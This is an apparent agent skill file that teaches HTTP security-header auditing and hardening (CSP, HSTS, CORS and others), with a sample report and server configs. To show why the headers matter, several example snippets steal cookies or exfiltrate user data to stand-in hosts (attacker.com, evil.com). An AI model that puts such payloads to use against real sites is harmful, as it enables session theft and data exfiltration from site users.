Agent skill

security-headers

Validate and implement HTTP security headers to protect web applications.

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SKILL.md

Security Headers Skill

Validate and implement HTTP security headers to protect web applications.

Instructions

You are a web security headers expert. When invoked:

Analyze Security Headers:
- Scan HTTP response headers
- Identify missing security headers
- Check header configurations
- Detect misconfigurations
- Validate CSP policies
- Review CORS settings
Security Assessment:
- Rate header security posture
- Identify vulnerabilities
- Check compliance with best practices
- Test for bypass techniques
- Validate header syntax
Attack Prevention:
- XSS (Cross-Site Scripting)
- Clickjacking
- MIME-sniffing attacks
- Man-in-the-Middle attacks
- Information disclosure
- Cache poisoning
- Protocol downgrade attacks
Compliance Checking:
- OWASP recommendations
- Security standards (PCI-DSS, HIPAA)
- Browser compatibility
- Performance impact assessment
Generate Report: Provide comprehensive header analysis with implementation guidance

Critical Security Headers

Content Security Policy (CSP)

Purpose: Prevent XSS attacks by controlling resource loading

http

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

Directives:

default-src: Fallback for other directives
script-src: JavaScript sources
style-src: CSS sources
img-src: Image sources
font-src: Font sources
connect-src: AJAX, WebSocket, EventSource
frame-src: Iframe sources
frame-ancestors: Pages that can embed this page
base-uri: Base tag URLs
form-action: Form submission targets

Strict-Transport-Security (HSTS)

Purpose: Force HTTPS connections

http

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Parameters:

max-age: Duration in seconds (recommended: 31536000 = 1 year)
includeSubDomains: Apply to all subdomains
preload: Include in browser preload lists

X-Frame-Options

Purpose: Prevent clickjacking attacks

http

X-Frame-Options: DENY

Values:

DENY: Cannot be framed at all
SAMEORIGIN: Can only be framed by same origin
ALLOW-FROM uri: Deprecated, use CSP instead

X-Content-Type-Options

Purpose: Prevent MIME-sniffing attacks

http

X-Content-Type-Options: nosniff

X-XSS-Protection

Purpose: Enable browser XSS filter (legacy, CSP is preferred)

http

X-XSS-Protection: 1; mode=block

Note: Deprecated in favor of Content-Security-Policy

Referrer-Policy

Purpose: Control referrer information

http

Referrer-Policy: strict-origin-when-cross-origin

Values:

no-referrer: Never send referrer
no-referrer-when-downgrade: Default behavior
origin: Send only origin
origin-when-cross-origin: Full URL for same-origin
same-origin: Only for same-origin requests
strict-origin: Origin only, not on HTTPS→HTTP
strict-origin-when-cross-origin: Recommended
unsafe-url: Always send full URL (not recommended)

Permissions-Policy

Purpose: Control browser features and APIs

http

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()

Cross-Origin Headers

CORP (Cross-Origin-Resource-Policy)

http

Cross-Origin-Resource-Policy: same-origin

COEP (Cross-Origin-Embedder-Policy)

http

Cross-Origin-Embedder-Policy: require-corp

COOP (Cross-Origin-Opener-Policy)

http

Cross-Origin-Opener-Policy: same-origin

Usage Examples

@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000

Header Scanning Commands

Using curl

bash

# Check all headers
curl -I https://example.com

# Check specific header
curl -I https://example.com | grep -i "content-security-policy"

# Follow redirects
curl -IL https://example.com

# Detailed headers
curl -v https://example.com 2>&1 | grep -i "^< "

Using online tools

bash

# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"

# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"

Using custom scripts

bash

# Node.js header checker
node check-headers.js https://example.com

# Python header scanner
python3 scan_headers.py https://example.com

Security Headers Report Format

markdown

# Security Headers Analysis Report

**Website**: https://example.com
**Scan Date**: 2024-01-15 14:30:00 UTC
**Scanner**: Security Headers Analyzer v2.0

---

## Overall Security Score

**Grade**: C
**Score**: 62/100

🔴 Critical Issues: 2
🟠 High Priority: 3
🟡 Medium Priority: 4
🟢 Low Priority: 2

**Status**: ⚠️  NEEDS IMPROVEMENT

---

## Executive Summary

Your website is vulnerable to several common attacks due to missing or misconfigured security headers. The most critical issues are:

1. Missing Content-Security-Policy (enables XSS attacks)
2. Missing Strict-Transport-Security (vulnerable to MITM)
3. Permissive CORS configuration

**Immediate Actions Required**: Implement CSP and HSTS headers

---

## Header Analysis

### ✅ Headers Present (3)

#### X-Content-Type-Options: nosniff
**Status**: ✅ Correctly configured
**Grade**: A+
**Purpose**: Prevents MIME-sniffing attacks

```http
X-Content-Type-Options: nosniff

Impact: Prevents browsers from interpreting files as different MIME types Recommendation: Keep this header

X-Frame-Options: DENY

Status: ✅ Correctly configured Grade: A+ Purpose: Prevents clickjacking attacks

http

X-Frame-Options: DENY

Impact: Prevents page from being embedded in frames Recommendation: Keep this header Note: Consider migrating to CSP frame-ancestors directive

Referrer-Policy: strict-origin-when-cross-origin

Status: ✅ Good configuration Grade: A Purpose: Controls referrer information leakage

http

Referrer-Policy: strict-origin-when-cross-origin

Impact: Balances privacy and functionality Recommendation: Optimal setting for most applications

❌ Missing Headers (5)

Content-Security-Policy

Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - XSS attacks possible

Current: Not set Impact:

No protection against XSS attacks
JavaScript can be injected from any source
Inline scripts execute without restriction
Third-party resources load without control

Vulnerability Example:

html

<!-- Attacker can inject: -->
<script>
  // Steal cookies
  fetch('https://attacker.com/steal?cookie=' + document.cookie);

  // Hijack session
  window.location = 'https://attacker.com/phishing';
</script>

Recommended Configuration:

http

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests

Implementation:

Express.js:

javascript

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-{random}'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "https:", "data:"],
    fontSrc: ["'self'"],
    connectSrc: ["'self'", "https://api.example.com"],
    frameAncestors: ["'none'"],
    baseUri: ["'self'"],
    formAction: ["'self'"],
    upgradeInsecureRequests: []
  }
}));

Nginx:

nginx

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;

Apache:

apache

Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"

Testing:

javascript

// Use CSP in report-only mode first
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

// Backend endpoint to collect violations
app.post('/csp-report', (req, res) => {
  console.log('CSP Violation:', req.body);
  res.status(204).end();
});

Priority: P0 - Implement immediately

Strict-Transport-Security

Status: 🔴 MISSING - CRITICAL Grade: F Risk: High - MITM attacks possible

Current: Not set Impact:

No forced HTTPS
Vulnerable to SSL stripping attacks
Man-in-the-Middle attacks possible
Session hijacking risk

Vulnerability Example:

User types: http://example.com
→ Attacker intercepts unencrypted initial request
→ Serves malicious page or steals credentials
→ Even if site redirects to HTTPS, initial request is vulnerable

Recommended Configuration:

http

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Implementation:

Express.js:

javascript

app.use(helmet.hsts({
  maxAge: 31536000,
  includeSubDomains: true,
  preload: true
}));

Nginx:

nginx

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

Apache:

apache

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"

Prerequisites:

✅ HTTPS fully working on all subdomains
✅ Valid SSL certificate
✅ No HTTP-only subdomains you want to keep

HSTS Preload Submission:

1. Visit: https://hstspreload.org/
2. Ensure max-age >= 31536000 (1 year)
3. Include includeSubDomains directive
4. Include preload directive
5. Submit domain for preload list

Warning:

Start with short max-age (e.g., 300) for testing
Increase gradually: 300 → 86400 → 2592000 → 31536000
Preloading is difficult to undo

Priority: P0 - Implement immediately

Permissions-Policy

Status: 🟠 MISSING - HIGH Grade: D Risk: Medium - Unnecessary API access

Current: Not set Impact:

No control over browser features
Third-party scripts can access camera, microphone, location
Potential privacy violations
Unexpected resource usage

Recommended Configuration:

http

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()

Implementation:

Express.js:

javascript

app.use((req, res, next) => {
  res.setHeader('Permissions-Policy',
    'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
  );
  next();
});

Nginx:

nginx

add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;

Custom Permissions (if you need specific features):

http

# Allow geolocation for your domain only
Permissions-Policy: geolocation=(self), microphone=(), camera=()

# Allow camera for specific domain
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()

Priority: P1 - Implement within 7 days

Cross-Origin-Resource-Policy

Status: 🟡 MISSING - MEDIUM Grade: C

Recommended Configuration:

http

Cross-Origin-Resource-Policy: same-origin

Implementation:

javascript

app.use((req, res, next) => {
  res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
  next();
});

Values:

same-origin: Only same-origin requests (recommended)
same-site: Same-site requests allowed
cross-origin: All origins allowed

Priority: P2 - Implement within 30 days

Cross-Origin-Embedder-Policy

Status: 🟡 MISSING - MEDIUM Grade: C

Recommended Configuration:

http

Cross-Origin-Embedder-Policy: require-corp

Priority: P2 - Implement within 30 days

⚠️ Misconfigured Headers (2)

Access-Control-Allow-Origin: *

Status: 🔴 CRITICAL MISCONFIGURATION Grade: F Risk: High - Open CORS policy

Current Configuration:

http

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Issue: This configuration is dangerous and invalid. Wildcard (*) cannot be used with credentials.

Vulnerability:

javascript

// Any malicious site can make authenticated requests:
fetch('https://example.com/api/user/data', {
  credentials: 'include'  // Sends cookies
})
.then(res => res.json())
.then(data => {
  // Attacker steals user data
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

Correct Configuration:

javascript

// Express.js - Dynamic CORS
const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});

Using CORS middleware:

javascript

const cors = require('cors');

app.use(cors({
  origin: function(origin, callback) {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: ['X-Total-Count'],
  maxAge: 600
}));

Nginx:

nginx

set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
    set $cors_origin $http_origin;
}

add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;

Priority: P0 - Fix immediately

X-XSS-Protection: 1; mode=block

Status: ⚠️ DEPRECATED Grade: C

Current Configuration:

http

X-XSS-Protection: 1; mode=block

Issue: This header is deprecated and can create security vulnerabilities in some browsers.

Recommendation: Remove this header and rely on Content-Security-Policy instead.

Migration:

javascript

// Remove X-XSS-Protection
// Instead, implement strong CSP
app.use(helmet({
  xssFilter: false,  // Disable deprecated header
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"]
    }
  }
}));

Priority: P2 - Update configuration

Security Grade Breakdown

Category	Score	Grade
XSS Protection	20/30	D
Clickjacking Protection	10/10	A+
HTTPS Enforcement	0/20	F
Information Disclosure	15/15	A
CORS Configuration	0/15	F
Browser Features	0/10	F
Overall	45/100	F

Attack Vectors Still Possible

1. Cross-Site Scripting (XSS)

Risk: CRITICAL Reason: No Content-Security-Policy

Example Attack:

html

<!-- Stored XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- Reflected XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>

Mitigation: Implement strict CSP

2. Man-in-the-Middle (MITM)

Risk: CRITICAL Reason: No HSTS header

Example Attack:

1. User connects to http://example.com (unencrypted)
2. Attacker intercepts and serves fake login page
3. User enters credentials
4. Attacker captures credentials

Mitigation: Implement HSTS with preload

3. Cross-Origin Data Theft

Risk: HIGH Reason: Permissive CORS configuration

Example Attack:

javascript

// From attacker.com:
fetch('https://example.com/api/sensitive-data', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // Exfiltrate data
  navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});

Mitigation: Restrict CORS to trusted origins only

Remediation Plan

Phase 1: Critical (Immediate - 24 hours)

1. Fix CORS Misconfiguration

javascript

// Remove wildcard CORS
- Access-Control-Allow-Origin: *

// Implement origin whitelist
+ Access-Control-Allow-Origin: https://app.example.com

Testing:

bash

# Test CORS from allowed origin
curl -H "Origin: https://app.example.com" \
     -I https://example.com/api/data

# Test CORS from disallowed origin (should fail)
curl -H "Origin: https://evil.com" \
     -I https://example.com/api/data

Risk: Medium (may break integrations) Estimated Time: 2 hours

2. Implement HSTS

nginx

add_header Strict-Transport-Security "max-age=300" always;

Testing Period: 5 minutes (max-age=300) Full Implementation: Increase to 31536000 after testing

Testing:

bash

# Verify HSTS header
curl -I https://example.com | grep -i strict-transport-security

# Test forced HTTPS
curl -IL http://example.com
# Should redirect to https://

Risk: Low Estimated Time: 1 hour

Phase 2: High Priority (Within 7 days)

3. Implement Content-Security-Policy

Week 1: Report-Only Mode

http

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report

Monitor violations for 7 days

Week 2: Enforce Mode

http

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...

Testing:

bash

# Check CSP header
curl -I https://example.com | grep -i content-security-policy

# Verify CSP effectiveness
# Open DevTools Console, check for CSP violations

Risk: High (may break functionality) Estimated Time: 3-5 days (including testing)

4. Add Permissions-Policy

http

Permissions-Policy: geolocation=(), microphone=(), camera=()

Risk: Low Estimated Time: 1 hour

Phase 3: Medium Priority (Within 30 days)

5. Implement Cross-Origin Headers

http

Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin

Risk: Medium Estimated Time: 2-3 days

6. Remove Deprecated Headers

javascript

// Remove X-XSS-Protection
- X-XSS-Protection: 1; mode=block

Risk: Low Estimated Time: 30 minutes

Implementation Code

Complete Express.js Configuration

javascript

const express = require('express');
const helmet = require('helmet');
const app = express();

// Generate nonce for CSP
app.use((req, res, next) => {
  res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
  next();
});

// Security headers
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "https:", "data:"],
      fontSrc: ["'self'"],
      connectSrc: ["'self'", "https://api.example.com"],
      frameAncestors: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"],
      upgradeInsecureRequests: []
    }
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  },
  frameguard: {
    action: 'deny'
  },
  noSniff: true,
  xssFilter: false,  // Deprecated, use CSP
  referrerPolicy: {
    policy: 'strict-origin-when-cross-origin'
  },
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: { policy: 'same-origin' },
  crossOriginResourcePolicy: { policy: 'same-origin' }
}));

// Permissions Policy
app.use((req, res, next) => {
  res.setHeader('Permissions-Policy',
    'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
  );
  next();
});

// CORS configuration
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  }
  next();
});

// CSP violation reporting
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.log('CSP Violation:', req.body);
  res.status(204).end();
});

app.listen(3000);

Complete Nginx Configuration

nginx

server {
    listen 443 ssl http2;
    server_name example.com;

    # SSL configuration
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    # Security Headers
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
    add_header Cross-Origin-Resource-Policy "same-origin" always;
    add_header Cross-Origin-Embedder-Policy "require-corp" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;

    # CORS
    set $cors_origin "";
    if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
        set $cors_origin $http_origin;
    }
    add_header Access-Control-Allow-Origin $cors_origin always;
    add_header Access-Control-Allow-Credentials true always;

    location / {
        proxy_pass http://localhost:3000;
    }
}

# HTTP to HTTPS redirect
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

Testing Checklist

Automated Testing

Run header scanner tool
Check Mozilla Observatory score
Verify SecurityHeaders.com grade
Test with browser DevTools
Automated tests in CI/CD

Manual Testing

Verify HTTPS redirect
Test CSP violations in console
Check frame embedding
Test CORS from allowed/disallowed origins
Verify API access restrictions

Browser Compatibility

Chrome/Edge (latest)
Firefox (latest)
Safari (latest)
Mobile browsers

Monitoring and Maintenance

CSP Violation Monitoring

javascript

// Log violations
app.post('/csp-report', (req, res) => {
  const violation = req.body['csp-report'];
  logger.warn('CSP Violation', {
    blockedURI: violation['blocked-uri'],
    violatedDirective: violation['violated-directive'],
    documentURI: violation['document-uri']
  });
  res.status(204).end();
});

// Alert on critical violations
if (violation['violated-directive'].includes('script-src')) {
  alertSecurityTeam(violation);
}

Regular Audits

Weekly: Automated header scanning
Monthly: Manual security review
Quarterly: Full security assessment
After changes: Regression testing

Best Practices

Header Implementation

✅ Use security header middleware (helmet, etc.)
✅ Apply headers at infrastructure level (CDN, load balancer)
✅ Test in staging before production
✅ Start with report-only mode for CSP
✅ Monitor violations and adjust policies
✅ Document header configurations

CSP Best Practices

✅ Start strict, loosen as needed
✅ Use nonces or hashes for inline scripts
✅ Avoid 'unsafe-inline' and 'unsafe-eval'
✅ Use report-uri or report-to
✅ Regularly review and update policies

HSTS Best Practices

✅ Start with short max-age for testing
✅ Ensure HTTPS works on all subdomains before includeSubDomains
✅ Submit to HSTS preload list
✅ Plan for long-term HTTPS support

Summary

Current Grade: F (45/100) Target Grade: A+ (95+/100) Estimated Effort: 2-3 weeks Priority: HIGH - Critical vulnerabilities present

Immediate Actions:

Fix CORS misconfiguration (today)
Implement HSTS (today)
Deploy CSP in report-only mode (this week)
Enforce CSP (next week)

Expected Grade After Fixes: A (90+/100)


## Notes

- Test headers in staging first
- Use report-only mode for CSP initially
- Monitor CSP violations before enforcing
- Balance security with functionality
- Keep headers updated with best practices
- Regular security audits recommended
- Document all header configurations
- Train team on header security
- Use automated tools for continuous monitoring
- Review headers after major changes

Maintainer

aiskillstore Core maintainer

Source details

Full Name: aiskillstore/marketplace
Branch: main
Path in repo: skills/curiouslearner/security-headers
Topics: claude-code claude codex-skills skills codex claude-skills ai-skills

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SKILL.md

Security Headers Skill

Instructions

Critical Security Headers

Content Security Policy (CSP)

Strict-Transport-Security (HSTS)

X-Frame-Options

X-Content-Type-Options

X-XSS-Protection

Referrer-Policy

Permissions-Policy

Cross-Origin Headers

CORP (Cross-Origin-Resource-Policy)

COEP (Cross-Origin-Embedder-Policy)

COOP (Cross-Origin-Opener-Policy)

Usage Examples

Header Scanning Commands

Using curl

Using online tools

Using custom scripts

Security Headers Report Format

X-Frame-Options: DENY

Referrer-Policy: strict-origin-when-cross-origin

❌ Missing Headers (5)

Content-Security-Policy

Strict-Transport-Security

Permissions-Policy

Cross-Origin-Resource-Policy

Cross-Origin-Embedder-Policy

⚠️ Misconfigured Headers (2)

Access-Control-Allow-Origin: *

X-XSS-Protection: 1; mode=block

Security Grade Breakdown

Attack Vectors Still Possible

1. Cross-Site Scripting (XSS)

2. Man-in-the-Middle (MITM)

3. Cross-Origin Data Theft

Remediation Plan

Phase 1: Critical (Immediate - 24 hours)

1. Fix CORS Misconfiguration

2. Implement HSTS

Phase 2: High Priority (Within 7 days)

3. Implement Content-Security-Policy

4. Add Permissions-Policy

Phase 3: Medium Priority (Within 30 days)

5. Implement Cross-Origin Headers

6. Remove Deprecated Headers

Implementation Code

Complete Express.js Configuration

Complete Nginx Configuration

Testing Checklist

Automated Testing

Manual Testing

Browser Compatibility

Monitoring and Maintenance

CSP Violation Monitoring

Regular Audits

Best Practices

Header Implementation

CSP Best Practices

HSTS Best Practices

Summary

Recommended Agent Skills

perigon-backend

perigon-agent

perigon-angular

fastapi-mastery

context7-efficient

browser-use